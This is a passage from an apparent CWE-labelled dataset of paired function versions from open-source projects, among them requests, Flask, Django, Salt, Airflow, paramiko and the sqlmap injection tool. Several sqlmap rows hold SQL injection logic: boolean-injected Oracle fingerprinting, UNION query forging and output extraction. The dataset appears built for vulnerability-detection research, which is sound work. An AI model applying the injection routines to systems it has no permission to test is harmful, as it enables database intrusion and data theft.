#: as this will include the bytestring indicator (b'')
#: on python 3.x.
#: https://github.com/psf/requests/pull/2238
if isinstance(url, bytes):
url = url.decode('utf8')
else:
url = unicode(url) if is_py2 else str(url)
# Remove leading whitespaces from url
url = url.lstrip()
# Don't do any URL preparation for non-HTTP schemes like `mailto`,
# `data` etc to work around exceptions from `url_parse`, which
# handles RFC 3986 only.
if ':' in url and not url.lower().startswith('http'):
self.url = url
return
# Support for unicode domain names and paths.
try:
scheme, auth, host, port, path, query, fragment = parse_url(url)
except LocationParseError as e:
raise InvalidURL(*e.args)
if not scheme:
error = (""Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?"")
error = error.format(to_native_string(url, 'utf8'))
raise MissingSchema(error)
if not host:
raise InvalidURL(""Invalid URL %r: No host supplied"" % url)
# In general, we want to try IDNA encoding the hostname if the string contains
# non-ASCII characters. This allows users to automatically get the correct IDNA
# behaviour. For strings containing only ASCII characters, we need to also verify
# it doesn't start with a wildcard (*), before allowing the unencoded hostname.
if not unicode_is_ascii(host):
try:
host = self._get_idna_encoded_host(host)
except UnicodeError:
raise InvalidURL('URL has an invalid label.')
elif host.startswith(u'*'):
raise InvalidURL('URL has an invalid label.')
# Carefully reconstruct the network location
netloc = auth or ''
if netloc:
netloc += '@'
netloc += host
if port:
netloc += ':' + str(port)
# Bare domains aren't valid URLs.
if not path:
path = '/'
if is_py2:
if isinstance(scheme, str):
scheme = scheme.encode('utf-8')
if isinstance(netloc, str):
netloc = netloc.encode('utf-8')
if isinstance(path, str):
path = path.encode('utf-8')
if isinstance(query, str):
query = query.encode('utf-8')
if isinstance(fragment, str):
fragment = fragment.encode('utf-8')
if isinstance(params, (str, bytes)):
params = to_native_string(params)
enc_params = self._encode_params(params)
if enc_params:
if query:
query = '%s&%s' % (query, enc_params)
else:
query = enc_params
url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
self.url = url"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/helpers.py,0,"def test_debug_log(self):
app = flask.Flask(__name__)
app.debug = True
@app.route('/')
def index():
app.logger.warning('the standard library is dead')
app.logger.debug('this is a debug statement')
return ''
@app.route('/exc')
def exc():
1/0
with app.test_client() as c:
with catch_stderr() as err:
c.get('/')
out = err.getvalue()
self.assert_('WARNING in helpers [' in out)
self.assert_(os.path.basename(__file__.rsplit('.', 1)[0] + '.py') in out)
self.assert_('the standard library is dead' in out)
self.assert_('this is a debug statement' in out)
with catch_stderr() as err:
try:
c.get('/exc')
except ZeroDivisionError:
pass
else:
self.assert_(False, 'debug log ate the exception')",,pallets/flask,fbd6776e68a12aa7bf7d646ca03d568cedc616f3,"def test_debug_log(self):
app = flask.Flask(__name__)
app.debug = True
@app.route('/')
def index():
app.logger.warning('the standard library is dead')
app.logger.debug('this is a debug statement')
return ''
@app.route('/exc')
def exc():
1/0
with app.test_client() as c:
with catch_stderr() as err:
c.get('/')
out = err.getvalue()
self.assert_('WARNING in helpers [' in out)
self.assert_(os.path.basename(__file__.rsplit('.')[0] + '.py') in out)
self.assert_('the standard library is dead' in out)
self.assert_('this is a debug statement' in out)
with catch_stderr() as err:
try:
c.get('/exc')
except ZeroDivisionError:
pass
else:
self.assert_(False, 'debug log ate the exception')"
,UNKNOWN,UNKNOWN,django/utils/numberformat.py,1,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
force_grouping=False, use_l10n=None):
""""""
Get a number (as a number or string), and return it as a string,
using formats defined as arguments:
* decimal_sep: Decimal separator symbol (for example ""."")
* decimal_pos: Number of decimal positions
* grouping: Number of digits in every group limited by thousand separator.
For non-uniform digit grouping, it can be a sequence with the number
of digit group sizes following the format used by the Python locale
module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
* thousand_sep: Thousand separator symbol (for example "","")
""""""
use_grouping = (use_l10n or (use_l10n is None and settings.USE_L10N)) and settings.USE_THOUSAND_SEPARATOR
use_grouping = use_grouping or force_grouping
use_grouping = use_grouping and grouping != 0
# Make the common case fast
if isinstance(number, int) and not use_grouping and not decimal_pos:
return mark_safe(number)
# sign
sign = ''
# Treat potentially very large/small floats as Decimals.
if isinstance(number, float) and 'e' in str(number).lower():
number = Decimal(str(number))
if isinstance(number, Decimal):
if decimal_pos is not None:
# If the provided number is too small to affect any of the visible
# decimal places, consider it equal to '0'.
cutoff = Decimal('0.' + '1'.rjust(decimal_pos, '0'))
if abs(number) < cutoff:
number = Decimal('0')
# Format values with more than 200 digits (an arbitrary cutoff) using
# scientific notation to avoid high memory usage in {:f}'.format().
_, digits, exponent = number.as_tuple()
if abs(exponent) + len(digits) > 200:
number = '{:e}'.format(number)
coefficient, exponent = number.split('e')
# Format the coefficient.
coefficient = format(
coefficient, decimal_sep, decimal_pos, grouping,
thousand_sep, force_grouping, use_l10n,
)
return '{}e{}'.format(coefficient, exponent)
else:
str_number = '{:f}'.format(number)
else:
str_number = str(number)
if str_number[0] == '-':
sign = '-'
str_number = str_number[1:]
# decimal part
if '.' in str_number:
int_part, dec_part = str_number.split('.')
if decimal_pos is not None:
dec_part = dec_part[:decimal_pos]
else:
int_part, dec_part = str_number, ''
if decimal_pos is not None:
dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
dec_part = dec_part and decimal_sep + dec_part
# grouping
if use_grouping:
try:
# if grouping is a sequence
intervals = list(grouping)
except TypeError:
# grouping is a single value
intervals = [grouping, 0]
active_interval = intervals.pop(0)
int_part_gd = ''
cnt = 0
for digit in int_part[::-1]:
if cnt and cnt == active_interval:
if intervals:
active_interval = intervals.pop(0) or active_interval
int_part_gd += thousand_sep[::-1]
cnt = 0
int_part_gd += digit
cnt += 1
int_part = int_part_gd[::-1]
return sign + int_part + dec_part",CWE-79,django/django,bc1c03407649a37a8a3c26b8d0cb355ab2fc128e,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
force_grouping=False, use_l10n=None):
""""""
Get a number (as a number or string), and return it as a string,
using formats defined as arguments:
* decimal_sep: Decimal separator symbol (for example ""."")
* decimal_pos: Number of decimal positions
* grouping: Number of digits in every group limited by thousand separator.
For non-uniform digit grouping, it can be a sequence with the number
of digit group sizes following the format used by the Python locale
module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
* thousand_sep: Thousand separator symbol (for example "","")
""""""
use_grouping = (use_l10n or (use_l10n is None and settings.USE_L10N)) and settings.USE_THOUSAND_SEPARATOR
use_grouping = use_grouping or force_grouping
use_grouping = use_grouping and grouping != 0
# Make the common case fast
if isinstance(number, int) and not use_grouping and not decimal_pos:
return mark_safe(number)
# sign
sign = ''
if isinstance(number, Decimal):
if decimal_pos is not None:
# If the provided number is too small to affect any of the visible
# decimal places, consider it equal to '0'.
cutoff = Decimal('0.' + '1'.rjust(decimal_pos, '0'))
if abs(number) < cutoff:
number = Decimal('0')
# Format values with more than 200 digits (an arbitrary cutoff) using
# scientific notation to avoid high memory usage in {:f}'.format().
_, digits, exponent = number.as_tuple()
if abs(exponent) + len(digits) > 200:
number = '{:e}'.format(number)
coefficient, exponent = number.split('e')
# Format the coefficient.
coefficient = format(
coefficient, decimal_sep, decimal_pos, grouping,
thousand_sep, force_grouping, use_l10n,
)
return '{}e{}'.format(coefficient, exponent)
else:
str_number = '{:f}'.format(number)
else:
str_number = str(number)
if str_number[0] == '-':
sign = '-'
str_number = str_number[1:]
# decimal part
if '.' in str_number:
int_part, dec_part = str_number.split('.')
if decimal_pos is not None:
dec_part = dec_part[:decimal_pos]
else:
int_part, dec_part = str_number, ''
if decimal_pos is not None:
dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
dec_part = dec_part and decimal_sep + dec_part
# grouping
if use_grouping:
try:
# if grouping is a sequence
intervals = list(grouping)
except TypeError:
# grouping is a single value
intervals = [grouping, 0]
active_interval = intervals.pop(0)
int_part_gd = ''
cnt = 0
for digit in int_part[::-1]:
if cnt and cnt == active_interval:
if intervals:
active_interval = intervals.pop(0) or active_interval
int_part_gd += thousand_sep[::-1]
cnt = 0
int_part_gd += digit
cnt += 1
int_part = int_part_gd[::-1]
return sign + int_part + dec_part"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/oracle/fingerprint.py,0,"def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
setDbms(DBMS.ORACLE)
self.getBanner()
return True
infoMsg = ""testing %s"" % DBMS.ORACLE
logger.info(infoMsg)
# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
# not work connecting directly to the Oracle database
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression(""LENGTH(SYSDATE)=LENGTH(SYSDATE)"")
if result:
infoMsg = ""confirming %s"" % DBMS.ORACLE
logger.info(infoMsg)
# NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
# not work connecting directly to the Oracle database
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression(""NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])"")
if not result:
warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
logger.warning(warnMsg)
return False
setDbms(DBMS.ORACLE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = ""actively fingerprinting %s"" % DBMS.ORACLE
logger.info(infoMsg)
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in (""21c"", ""19c"", ""18c"", ""12c"", ""11g"", ""10g"", ""9i"", ""8i"", ""7""):
number = int(re.search(r""([\d]+)"", version).group(1))
output = inject.checkBooleanExpression(""%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)"" % (number, 1 if number < 10 else 2))
if output:
Backend.setVersion(version)
break
return True
else:
warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
logger.warning(warnMsg)
return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
setDbms(DBMS.ORACLE)
self.getBanner()
return True
infoMsg = ""testing %s"" % DBMS.ORACLE
logger.info(infoMsg)
# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
# not work connecting directly to the Oracle database
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression(""LENGTH(SYSDATE)=LENGTH(SYSDATE)"")
if result:
infoMsg = ""confirming %s"" % DBMS.ORACLE
logger.info(infoMsg)
# NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
# not work connecting directly to the Oracle database
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression(""NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])"")
if not result:
warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
logger.warn(warnMsg)
return False
setDbms(DBMS.ORACLE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = ""actively fingerprinting %s"" % DBMS.ORACLE
logger.info(infoMsg)
# Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in (""21c"", ""19c"", ""18c"", ""12c"", ""11g"", ""10g"", ""9i"", ""8i"", ""7""):
number = int(re.search(r""([\d]+)"", version).group(1))
output = inject.checkBooleanExpression(""%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)"" % (number, 1 if number < 10 else 2))
if output:
Backend.setVersion(version)
break
return True
else:
warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
logger.warn(warnMsg)
return False"
,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,1,"def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
warnMsg = ""automatically patching output having last char trimmed""
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _(""(?P%s.*%s)"" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r""(?P()+)"", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(""%s"" % output.encode(UNICODE_ENCODING))
retVal = """"
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, """").strip()
if value and not re.match(r""\A[a-zA-Z0-9+/]+={0,2}\Z"", value):
base64 = False
break
try:
value.decode(""base64"")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("" "", ""\n"")
hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
trimmed = _(""%s(?P.*?)<"" % (kb.chars.start))
if trimmed:
warnMsg = ""possible server trimmed output detected ""
warnMsg += ""(probably due to its length and/or content): ""
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal",CWE-703,sqlmapproject/sqlmap,996ad59126555e2daa5c5522f7da38c16da05264,"def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
warnMsg = ""automatically patching output having last char trimmed""
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _(""(?P%s.*%s)"" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r""(?P()+)"", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(""%s"" % output.encode(UNICODE_ENCODING))
retVal = """"
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, """").strip()
if value and not re.match(r""\A[a-zA-Z0-9+/]+={0,2}\Z"", value):
base64 = False
break
try:
value.decode(""base64"")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("" "", ""\n"")
hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
trimmed = _(""%s(?P.*?)<"" % (kb.chars.start))
if trimmed:
warnMsg = ""possible server trimmed output detected ""
warnMsg += ""(probably due to its length and/or content): ""
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal"
,UNKNOWN,UNKNOWN,tests/pytests/pkg/integration/test_version.py,1,"def test_compare_pkg_versions_redhat_rc(version, install_salt):
""""""
Test compare pkg versions for redhat RC packages. A tilde should be included
in RC Packages and it should test to be a lower version than a non RC
package of the same version. For example, v3004~rc1 should be less than
v3004.
""""""
if install_salt.downgrade:
version = install_salt.prev_version
else:
version = install_salt.version
if install_salt.distro_id not in (
""almalinux"",
""rocky"",
""centos"",
""redhat"",
""amzn"",
""fedora"",
""photon"",
):
pytest.skip(""Only tests rpm packages"")
pkg = [x for x in install_salt.pkgs if ""rpm"" in x]
if not pkg:
pytest.skip(""Not testing rpm packages"")
pkg = pkg[0].split(""/"")[-1]
if ""rc"" not in ""."".join(pkg.split(""."")[:2]):
pytest.skip(""Not testing an RC package"")
assert ""~"" in pkg
comp_pkg = pkg.split(""~"")[0]
ret = install_salt.proc.run(""rpmdev-vercmp"", pkg, comp_pkg)
ret.stdout.matcher.fnmatch_lines([f""{pkg} < {comp_pkg}""])",CWE-703,saltstack/salt,22f3d2670896ca81c77be2ff4b689fbf4644aaa4,"def test_compare_pkg_versions_redhat_rc(version, install_salt):
""""""
Test compare pkg versions for redhat RC packages. A tilde should be included
in RC Packages and it should test to be a lower version than a non RC
package of the same version. For example, v3004~rc1 should be less than
v3004.
""""""
if install_salt.distro_id not in (
""almalinux"",
""rocky"",
""centos"",
""redhat"",
""amzn"",
""fedora"",
""photon"",
):
pytest.skip(""Only tests rpm packages"")
pkg = [x for x in install_salt.pkgs if ""rpm"" in x]
if not pkg:
pytest.skip(""Not testing rpm packages"")
pkg = pkg[0].split(""/"")[-1]
if ""rc"" not in ""."".join(pkg.split(""."")[:2]):
pytest.skip(""Not testing an RC package"")
assert ""~"" in pkg
comp_pkg = pkg.split(""~"")[0]
ret = install_salt.proc.run(""rpmdev-vercmp"", pkg, comp_pkg)
ret.stdout.matcher.fnmatch_lines([f""{pkg} < {comp_pkg}""])"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_connections.py,1,"def test_post_should_respond_already_exist(self, test_client, body):
response = test_client.post(""/connections"", json=body)
assert response.status_code == 201
# Another request
response = test_client.post(""/connections"", json=body)
assert response.status_code == 409
response_json = response.json()
assert ""detail"" in response_json
assert list(response_json[""detail""].keys()) == [""reason"", ""statement"", ""orig_error"", ""message""]",CWE-703,apache/airflow,7c9b2978f1d1c93ee261fad071659aac325c2148,"def test_post_should_respond_already_exist(self, test_client, body):
response = test_client.post(""/connections"", json=body)
assert response.status_code == 201
# Another request
response = test_client.post(""/connections"", json=body)
assert response.status_code == 409
response_json = response.json()
assert ""detail"" in response_json
assert list(response_json[""detail""].keys()) == [""reason"", ""statement"", ""orig_error""]"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/ber.py,0,"def decode_next(self):
if self.idx >= len(self.content):
return None
id = ord(self.content[self.idx])
self.idx += 1
if (id & 31) == 31:
# identifier > 30
id = 0
while self.idx < len(self.content):
t = ord(self.content[self.idx])
self.idx += 1
id = (id << 7) | (t & 0x7f)
if not (t & 0x80):
break
if self.idx >= len(self.content):
return None
# now fetch length
size = ord(self.content[self.idx])
self.idx += 1
if size & 0x80:
# more complimicated...
# FIXME: theoretically should handle indefinite-length (0x80)
t = size & 0x7f
if self.idx + t > len(self.content):
return None
size = util.inflate_long(self.content[self.idx : self.idx + t], True)
self.idx += t
if self.idx + size > len(self.content):
# can't fit
return None
data = self.content[self.idx : self.idx + size]
self.idx += size
# now switch on id
if id == 0x30:
# sequence
return self.decode_sequence(data)
elif id == 2:
# int
return util.inflate_long(data)
else:
# 1: boolean (00 false, otherwise true)
raise BERException('Unknown ber encoding type %d (robey is lazy)' % id)",,paramiko/paramiko,c6d5ba9c5225b119bd718b4fbc1523dc9b3a3926,"def decode_next(self):
if self.idx >= len(self.content):
return None
id = ord(self.content[self.idx])
self.idx += 1
if (id & 31) == 31:
# identifier > 30
id = 0
while self.idx < len(self.content):
t = ord(self.content[self.idx])
self.idx += 1
id = (id << 7) | (t & 0x7f)
if not (t & 0x80):
break
if self.idx >= len(self.content):
return None
# now fetch length
size = ord(self.content[self.idx])
self.idx += 1
if size & 0x80:
# more complimicated...
# FIXME: theoretically should handle indefinite-length (0x80)
t = size & 0x7f
if self.idx + t > len(self.content):
return None
size = self.inflate_long(self.content[self.idx : self.idx + t], True)
self.idx += t
if self.idx + size > len(self.content):
# can't fit
return None
data = self.content[self.idx : self.idx + size]
self.idx += size
# now switch on id
if id == 0x30:
# sequence
return self.decode_sequence(data)
elif id == 2:
# int
return util.inflate_long(data)
else:
# 1: boolean (00 false, otherwise true)
raise BERException('Unknown ber encoding type %d (robey is lazy)' % id)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
""""""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter.
""""""
if conf.hexConvert:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue
if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput
try:
if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression
if expression.upper().startswith(""SELECT ""):
booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if conf.direct:
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
found = False
count = 0
if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
query = query.replace(""DISTINCT "", """")
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsName:
_ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
warnMsg = ""option '--dns-domain' will be ignored ""
warnMsg += ""as faster techniques are usable ""
warnMsg += ""(%s) "" % _
singleTimeWarnMessage(warnMsg)
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
else:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
if value and isinstance(value, basestring):
value = value.strip() if value.strip() else value[:1]
else:
errMsg = ""none of the injection types identified can be ""
errMsg += ""leveraged to retrieve queries output""
raise SqlmapNotVulnerableException(errMsg)
finally:
kb.resumeValues = True
if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue()
kb.safeCharEncode = False
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
singleTimeWarnMessage(warnMsg)
return extractExpectedValue(value, expected)",,sqlmapproject/sqlmap,b6e44ae64e3aa7354186a6c01a862a252aa427c0,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
""""""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter.
""""""
if conf.hexConvert:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue
if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput
try:
if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression
if expression.upper().startswith(""SELECT ""):
booleanExpression = expression[len(""SELECT ""):]
if re.search(r""(?i)\(.+\)\Z"", booleanExpression):
booleanExpression = ""%s=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else '1')
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if conf.direct:
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
found = False
count = 0
if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
query = query.replace(""DISTINCT "", """")
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsName:
_ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
warnMsg = ""option '--dns-domain' will be ignored ""
warnMsg += ""as faster techniques are usable ""
warnMsg += ""(%s) "" % _
singleTimeWarnMessage(warnMsg)
